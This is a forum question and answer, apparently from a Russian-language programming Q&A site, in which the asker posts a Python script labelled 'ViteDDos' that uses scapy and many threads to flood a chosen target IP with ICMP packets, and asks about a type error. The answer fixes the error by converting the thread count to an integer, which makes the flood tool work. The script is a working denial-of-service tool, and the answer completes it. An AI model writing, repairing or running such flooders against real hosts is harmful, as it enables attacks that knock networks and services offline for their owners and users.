3
import random, os
from scapy.all import *
def DestinationIP():
        dstIP = input("IP: ")
        return dstIP
os.system("figlet ViteDDos | ICMP")
host = input("Target > ")

thr = input("Threads: ")
ta = DestinationIP()
def sendg():
        while True:
                send(IP(dst=host)/ICMP())

thread_pool = [
        Thread(target=sendg,  args=[]) for _ in range(thr)
]
for thread in thread_pool:
        thread.start()

Это мой код. Когда я запускаю, ввожу всё, выходит ошибка: Traceback (most recent call last): File "vdic.py", line 16, in Thread(target=sendg, args=[]) for _ in range(thr) TypeError: 'str' object cannot be interpreted as an integer

1 ответ 1

0

Замените thr = input("Threads: ") на thr = int(input("Threads: "))

Имело смысл, переведя ошибку, поискать в строке 16 на возможные значения strи найдя, подумать, почему они не int, если должны быть. Так бы и нашли ошибку.

Помните, что input() всегда даёт значения типа str.

0

Ваш ответ

By clicking “Отправить ответ”, you agree to our terms of service and acknowledge you have read our privacy policy.

Всё ещё ищете ответ? Посмотрите другие вопросы с метками или задайте свой вопрос.